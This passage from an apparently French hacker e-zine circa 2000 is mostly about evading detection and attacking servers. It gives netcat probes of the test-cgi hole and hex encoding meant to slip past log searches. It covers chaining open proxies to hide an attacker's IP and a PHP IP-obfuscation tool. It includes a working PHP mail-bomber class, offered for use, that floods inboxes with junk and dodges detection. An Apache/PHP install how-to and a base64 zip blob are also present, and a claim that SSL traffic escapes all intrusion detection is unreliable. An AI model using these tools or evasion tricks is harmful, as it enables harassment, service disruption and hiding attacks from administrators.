vieille. Aucune importance, car meme si l'encodage hexa n'aide pas beaucoup sur un serveur microdob, il va etre tres efficace sur un serveur apache (par exemple pour verifier une toute aussi vieille faille qu'est celle du dossier test-cgi. Ca ressemblerait a peu pres a ca sans encodage : [root@localhost]# nc -n 10.0.0.2 80 HEAD /cgi-bin/test-cgi HTTP/1.0 Et pour ajouter un flou artistique dans les logs du serveur : [root@localhost]# nc -n 10.0.0.2 80 HEAD /%63%67%69-bin/test-%63%67%69 HTTP/1.0 Un coup d'oeil au log d'acces nous montre ceci dans le premier cas : 10.10.10.10 - - [18/Oct/2000:08:22:47 -0700] "HEAD /cgi-bin/test-cgi HTTP/1.0" 200 0 Et dans le deuxieme cas (partiellement hex-encodé) : 10.10.10.10 - - [18/Oct/2000:08:23:47 -0700] "HEAD /%63%67%69-bin/test-%63%67%69 HTTP/1.0" 200 0 A noter que dans les deux cas la reponse est 200 (commande executee avec succes), sauf que dans le deuxieme le fichier de log est rempli avec les valeurs telles qu'elles ont été envoyées en hexa, rendant ainsi toute recherche textuelle inutile en cas de recherche exacte (la methode la plus greppée par les admins. Malheureusement de plus en plus de systemes permettent d'ajouter des filtres a la recherche et notemment le decodage hexa des valeurs trouvees avant comparaison. Voici un petit utilitaire en php qui fait double emploi, dans un premier temps il permet de convertir une adresse ip de type xxx.xxx.xxx.xxx en adresse numerique decimale (et vice-versa), mais il permet aussi d'encoder en hexa n'importe quelle chaine dans le but de tester si le log du serveur web prend effectivement la chaine exacte ou la chaine encodee envoyee dans la requete.

IP Hider / Converter

Unhide ip :
Hide Ip - - -

"); echo ("Devient $hide\n
"); echo ("try it http://$hide\n
"); } if($unhide=="") $unhide=$hide; if($unhide!="") { $one =$unhide/16777216%256; $two =$unhide/65536%256; $three =$unhide/256%256; $four =($unhide-1)%256+257; echo "Unhide : $one . $two . $three . $four\n
"; } } ?>

URL Hider / Converter

Hide url :

Hidden url (if any ) :

-Le Serveur Proxy ------------------- Concevoir l'approche d'un serveur est aussi important que de dissimuler les traces une fois l'approche etablie. Quand l'adresse IP originale est masquee par un moyen ou par un autre, la situation est telle que toute attaque dirigee vers le serveur web sera loggée avec l'adresse du masque plutot que celle dont les attaques sont originaires. Les proxies sont en general utilisés pour rediriger différents protocoles au travers d'un seul point d'acces. Au niveau pratique, tous les utilisateurs sont forcés d'utiliser un meme proxy pour acceder a l'internet, laissant ainsi la possibilité aux admins d'ajouter des limites et restrictions en entree et en sortie. Le proxy relaye toutes les demandes des utilisateurs vers les serveur concernés qui enregistrent non pas leur adresse mais celle de la machine ou se trouve ce proxy. Evidemment le proxy lui meme possede un fichier de log avec le detail des connexions, cela peut representer une securité autant qu'une crainet pour les petits malins qui veulent se planquer derriere... Il se peut parfois que certains proxies "orphelins" soient abandonnés sur le reseau, ils vont alors rejoindre le rang des proxies-pour-tous (ay qu'est ce que c'est que cette secte ? ) Proxys-4-All -> http://www.proxys4all.com/ avec une liste de serveurs mal configurés (ou trop bien configurés, ca dépend de quel coté on se place hehehe). L'utilisation d'un tel proxy appliquée a l'exemple donné plus haut donne des resultats differents sur les logs, voici une connexion normale : Pingouin : [root@10.1.1.1 /]# nc -v 10.8.8.8 80 HEAD / HTTP/1.0 Fichier Log sur la machine ciblée 10.1.1.1 - - [18/Oct/2000:03:31:58 -0700] "HEAD / HTTP/1.0" 200 0 Voici la meme connexion etablie au travers d'un proxy In the following attack/log file combination, we see the attacker achieve the same goal, except that the attacker uses a proxy server. Pingouin : [root@10.1.1.1 /]# nc -v 216.234.161.83 80 HEAD http://10.8.8.8/ HTTP/1.0 Fichier Log sur la machine ciblée 216.234.161.83 - - [18/Oct/2000:03:39:29 -0700] "HEAD / HTTP/1.1" 200 0 Le proxy utilisé ici est 216.234.161.83 => proxy.proxyspace.com et c'est bien cette adresse qui apparait au lieu de celle du pingouin (10.1.1.1). La seule facon pour l'admin du serveur web de tracker l'adresse originale est de faire cooperer l'admin qui s'occupe du proxy qui a relayé la requete, car la plupart des serveurs proxies ont un fichier log TRES detaillé. Pour contourner cette lacune, la ruse consiste a utiliser un second, voire un troisieme proxy qu'on met en chaine (si possible un proxy situé dans un autre pays ou appartenant a des sociétés concurrentes. Retrouver la trace de l'ip originale devient alors une veritable chasse au tresor et reclame des capacités plus politiques et strategiques que techniques. Le chainage des proxies est une technique testée et approuvée par de grandes marques de hackers, il existe meme des programmes pour script-kiddies qui font ca automatiquement : SocksChain pour Windows. -> http://www.ufasoft.com/socks/ -Le SSL ------ Une information interessante est que les serveurs equipes d'un module SSL actif ne sont PAS monitorés par des programmes de detection d'intrusion, car fondamentalement ils ne peuvent pas (le premier S dans SSL deviendrait nul et non avenu). Voila pourquoi les intrusions sont toujours plus rapides et plus "securisees" sur le port 443 (HTTPS) que sur le 80 (HTTP). Inutile de preciser quelle est la route qui est la plus souvent utilisée par un attaquant qui veut rester invisible. La methode dite du "mec au milieu" est plus que jamais appliquable (voir hackoff precedent pour description de cette methode). Traduit et complété a partir d'un document original trouvé sur le web. ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ _ ______________________ _ -*5*- `^°*;:,.> Php4 Installation <.,:;*°^` _____________________________/¯¯¯¯¯¯¯Coolrasta¯¯¯¯¯¯\___________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ Auteur : Joey (coolrasta@nexen.net) Site : http://coolrasta.nexen.net Date de creation : 31/07/2000 Titre : Installation apache/php4/mysql A noter que ce texte est a lire comme un HOWTO plutot que comme un article. Il en existe deja plusieurs autres versions mais celle ci a ete retenue du fait de son coté unique (SOLARIS),., Il faut commencer par telecharger les fichiers sources .... pas les binaires car il va falloir tout recompiler comme un grand.. -Apache 1.3.12 (ou version plus recente) http://www.apache.org/dist/apache_1.3.12.tar.gz PHP4 beta 4 patch level 1 http://www.php.net/version4/do_download.php?download_file=php-4.0b4pl1.tar.gz MySQL 3.22.32 (ou version plus recente) http://www.mysql.org/Downloads/MySQL-3.22/mysql-3.22.32.tar.gz Zend Optimizer http://www.zend.com/zend/optimizer.php Decompresser le tout dans : "/usr/local/src" # cd /usr/local/src # tar -zxvf apache*.tar.gz # tar -zxvf php*.tar.gz # tar -zxvf mysql*.tar.gz # tar -zxvf Zend*.tar.gz On commence par configurer mysql # cd mysql* # ./configure --prefix=/usr/local/mysql # make # make install # cd /usr/local/mysql/bin # ./mysql_install_db # ./safe_mysqld >/dev/null & # ./mysqladmin -u root password 'monMotdePasse' MySql est lancé et pret a etre utilisé.. La suite avec Apache : # cd /usr/local/apache/conf # mv httpd.conf httpd.conf.save # cp httpd.conf.default httpd.conf On retourne dans le fichier contenant les sources d'apache # cd /usr/local/src/apache_1.3.12 # ./configure --prefix=/usr/local/apache --enable-shared=max # make # make install Puis maintenant le php4 Apache vient d'etre compilé avec une option de support de chargement dynamique des modules ...Ca veut dire que Apache ne doit etre recompilé que si un module est mis a jour et non pas lors d'un ajout ;)) Attention il s'agit ici de la config minimale, il est evident que le choix des modules depend des besoins et de la configuration locale ex : module a compiler comme swf, gd-png, horde, etc # cd ../php-4.0b4pl1 # ./configure --with-apxs=/usr/local/apache/bin/apxs \ --with-config-file-path=/usr/local/apache/conf \ --with-mysql --enable-debug=no \ --enable-track-vars # make # make install php est maintenant compile et installe. On doit maintenant s'occuper des fichiers de configuration .... # cp php.ini-dist /usr/local/apache/conf/php.ini # cd /usr/local/apache/conf Editer httpd.conf. Bon on va s'assurer qu'apache support bien tous nos modules PHP. il faut voir les lignes suivantes ... LoadModule vhost_alias_module libexec... LoadModule... LoadModule php4_module libexec/libphp4.so ClearModuleList AddModule mod_vhost_alias.c AddModule... AddModule mod_php4.c Maintenant toujours dans httpd.conf enlever les commentaires devant les lignes suivantes: AddType application/x-httpd-php .php .php3 .phtml AddType application/x-httpd-php-source .phps On peut en profiter pour ajouter ceux-la selon la config requise : AddType application/x-httpd-php .html (pas conseillé) AddType application/x-httpd-php .php4 (tordu) A ce stade ca devrait deja marcher pour le php mais on va utiliser un autre outil qui ameliore les performances ... ZEND optimizer ... # mkdir /usr/local/Zend # mkdir /usr/local/Zend/lib # cp /usr/local/src/Zend*/ZendOptimizer.so /usr/local/Zend/lib/ Maintenant on met a jour la configuration php dans le , php.ini, et on ajoute les 2 lignes suivantes ...Attention ! ne pas ajouter d'espace ou quoi que ce soit ... zend_optimizer.optimization_level=1 zend_extension="/usr/local/Zend/lib/ZendOptimizer.so" On lance Apache : # cd ../bin # ./apachetcl start Dans un fichier qu'on appellera phpinfo.php, et qu'on met dans le repertoire racine du serveur web par defaut ../htdocs on insere : Hop un petit coup d'oeil dans le navigateur : http://localhost/phpinfo.php Et le tour est joué ! ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ _ ______________________ _ -*6*- `^°*;:,.> Mail Bomber php <.,:;*°^` _____________________________/¯¯¯¯¯¯By tobozo¯¯¯¯¯¯¯\___________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ parts = array(); $this->to = ""; $this->from = ""; $this->subject = ""; $this->body = ""; $this->headers = ""; $this->max = ""; $this->mass = ""; $this->content = ""; $this->echelon = ""; } function insults() { // genere une insulte a partir des tableaux définis plus haut global $insults; $b=count($insults); $i=0; while($i<$b) { $temp=$insults[$i]; $k=sizeof($temp); // recupere une valeur pseudo-aleatoire // basee sur le premier nombre dans microtime() $q=microtime(); $q=explode(" ", $q); $q=explode(".", $q[0]); $q=$q[1]/100; $q=substr($q, -1); $q=intval($q/10*$k); // perdre un peu de temps pour eviter les formules // repetitives (il n'y a pas de random) $count=$q/100; while($count-->0) $t=1; // construire la phrase $msg.=" ".$temp[$q]; $i++; } return $msg; } function echelon() { // genere un message en y mettant des // mots echelon au hasard (parametrable plus haut) global $words; $b=count($words); srand(microtime()+time()); $c=intval(rand(1,$b)); $d=0; // nb de mots a inserer $c=300; while ($d++<$c) { $q=microtime(); $q=explode(" ", $q); $q=explode(".", $q[0]); $q=$q[1]/100; $q=substr($q, -1); $q=intval($q/10*$b); $msg.=" ".$words[$q]; } return $msg; } function saturate() { // genere un message avec 15.000 fois // le mot "spam" (~=70ko) while($a++<15000) $msg.="spam "; return $msg; } function add_attachment($message, $name = "", $ctype = "application/octet-stream") { // contruit l'objet mail $this->parts[] = array ( "ctype" => $ctype, "message" => $message, "encode" => $encode, "name" => $name ); } function build_message($part) { // contruit la chaine d'encodage en respect // du rfc 821 $message = $part["message"]; $message = chunk_split(base64_encode($message)); $encoding = "base64"; return "Content-Type: ".$part["ctype"]. ($part["name"]?"; name = \"".$part["name"]."\"" : ""). "\nContent-Transfer-Encoding: $encoding\n\n$message\n"; } function build_multipart() { // contruit le multipart en respect // du rfc 821 $boundary = "----_=_NextPart_000_b".md5(uniqid(time())); $multipart = "Content-Type: multipart/mixed; boundary = $boundary\n\nThis is a MIME encoded message.\n\n--$boundary"; for($i = sizeof($this->parts)-1; $i >= 0; $i--) { $multipart .= "\n".$this->build_message($this->parts[$i])."--$boundary"; } return $multipart.= "--\n"; } function smtp_open($server, $port) { // ouvre une connexion telnet sur un serveur et port donné // et retourne le resultat global $SMTP_GLOBAL_STATUS; $smtp = fsockopen($server, $port); if ($smtp<0) return 0; $line = fgets($smtp, 1024); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] = substr($line,0,1); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULTTXT"] = substr($line,0,1024); if ($SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] <> "2") return 0; return $smtp; } function smtp_helo($smtp) { // verifie si le serveur est bien un smtp en envoyant un // commande HELO et en retournant true si etablie global $SMTP_GLOBAL_STATUS; /* 'localhost' always works [Unk] */ fputs($smtp, "helo localhost\r\n"); $line = fgets($smtp, 1024); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] = substr($line, 0, 1); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULTTXT"] = substr($line, 0, 1024); if ($SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] <> "2") return 0; return 1; } function smtp_mail_from($smtp, $from) { // commence a construire le header du mail // (mail from) global $SMTP_GLOBAL_STATUS; fputs($smtp, "MAIL FROM: <$from>\r\n"); $line = fgets($smtp, 1024); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] = substr($line, 0, 1); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULTTXT"] = substr($line, 0, 1024); if ($SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] <> "2") return 0; return 1; } function smtp_rcpt_to($smtp, $to) { // header du mail (suite) // (rcpt to) global $SMTP_GLOBAL_STATUS; fputs($smtp, "RCPT TO: <$to>\r\n"); $line = fgets($smtp, 1024); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] = substr($line, 0, 1); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULTTXT"] = substr($line, 0, 1024); if ($SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] <> "2") return 0; return 1; } function smtp_data($smtp, $subject, $data) { // le message et le header complet sont envoyes // (data) global $SMTP_GLOBAL_STATUS; fputs($smtp, "DATA\r\n"); $line = fgets($smtp, 1024); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] = substr($line, 0, 1); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULTTXT"] = substr($line, 0, 1024); if ($SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] <> "3") return 0; fputs($smtp, "Subject: $subject\r\n"); fputs($smtp, "MIME-Version: 1.0\r\n"); fputs($smtp, "Content-Type: text/plain;\r\n"); fputs($smtp, " charset=\"iso-8859-1\"\r\n"); fputs($smtp, "Content-Transfer-Encoding: 8bit\r\n"); fputs($smtp, "X-Priority: 3\r\n"); fputs($smtp, "X-MSMail-Priority: Normal\r\n"); fputs($smtp, "X-Mailer: Mailbomber 0.6\r\n"); fputs($smtp, "X-MimeOLE: Produced By Savate System\r\n\r\n"); fputs($smtp, "$data\r\n\r\n"); fputs($smtp, ".\r\n"); $line = fgets($smtp, 1024); if (substr($line, 0, 1) <> "2") return 0; return 1; } function smtp_quit($smtp) { // deconnexion du serveur // (quit) global $SMTP_GLOBAL_STATUS; fputs($smtp, "QUIT\r\n"); $line = fgets($smtp, 1024); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] = substr($line, 0, 1); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULTTXT"] = substr($line, 0, 1024); if ($SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] <> "2") return 0; return 1; } function sendmail($msg) { // la partie difficile : se connecter au MX host le plus // proche du smtp et fermer la connexion a chaque envoi // pour eviter que le robot traque les envois multiples // en se referant a la chaine unique md5 list ($user,$domain) = split ("@",$this->from,2); $arr = explode (".",$domain); $count = count ($arr); $tld = $arr[$count-2].".".$arr[$count-1]; if (checkdnsrr($tld,"MX")) { if(getmxrr($tld,$mxhosts,$weight)) { for ($i=0;$ismtp_open($tempdomain,25); if($this->smtp_helo($smtp)) { if($this->smtp_mail_from($smtp,$this->from)) { if($this->smtp_rcpt_to($smtp,$this->from)) { if($this->smtp_data($smtp, $this->subject, $msg)) { if($this->smtp_quit($smtp)) { return "courrier envoyé"; } else { return "Deconnexion foireuse"; } } else { return "Message refusé"; } } else { return "Destinataire refusé"; } } else { return "Expediteur refusé"; } } else { return "Connexion refusée"; } // end of for loop } } else { return "Problemes de checking MX"; } } else { return "Problem de checking DNS avec le MX host"; } } /* Methodes Publiques */ function refresh() { // rappelle la page en cours en incrementant le compteur // ou en rappelant la page d'accueil si la boucle est finie // (usage batch préféré pour contourner le time_limit) global $PHP_SELF; $content = $this->content; $louzeur = $this->from; $mass = $this->mass; $mass++; $max = $this->max; if($mass!=$max) { echo ""; } else { echo ""; } } function randomize_title() { // retourne un mot pris au hasard dans la liste // echelon global $words; $b=count($words); srand(microtime()+time()); $d=intval(rand(1,$b)); $title=$words[$d]; return $title; } function get_message() { $content=$this->content; if($content=="echelon") return $this->echelon(); else if($content=="insults") return $this->insults(); else if($content=="file") return $this->saturate(); else return "O"; } function send() { // faire quelques verifs avant d'envoyer le msg $mime = ""; if (!empty($this->from)) $mime .= "From: ".$this->from."\n"; if (!empty($this->headers)) $mime .= $this->headers."\n"; if (!empty($this->body)) $this->add_attachment($this->body, "", "text/plain"); $mime .= "MIME-Version: 1.0\n".$this->headers.$this->body; // envoyer le msg $a=$this->sendmail($this->body); return $a; // pour debug : echo "
\n".$this->to."\n".$this->subject."\n".$mime."
"; } }; // fin de la class /*************************************** * UN EXEMPLE D'UTILISATION * ***************************************/ if($mass<$max) { $mail = new mail_bomb; $mail->mass = $mass; $mail->max = $max; $mail->content = $content; $mail->from = $louzeur; $mail->to = $mailto; $message = $mail->get_message(); $mail->body = $message; $title = $mail->randomize_title(); $mail->subject = $title; $mail->headers = "MIME-Version: 1.0 Content-Type: text/plain; charset=\"iso-8859-1\" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Mailbomber 0.6 X-MimeOLE: Produced By 3S"; $mail_bomb=$mail->send(); if ($mail_bomb) { echo "Log : $mail_bomb
$louzeur
", "$title
", "$message"; $mail->refresh(); } else { echo "Problemes rencontres lors de l'envoi du mail : $mail_bomb"; } } else { echo "
Bomber
Avec mails chargés avec
"; } ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ _ ______________________ _ -*7*- `^°*;:,.> Phplib-Phpslash <.,:;*°^` _____________________________/¯¯¯By courou & tob¯¯¯\___________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ blah blah blah avec ton encordeur tu encoderas et avec ton decodeur tu decoderas.... Content-Type: application/x-zip-compressed; Content-Transfer-Encoding: base64 filename="phplib-phpslash.zip" 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 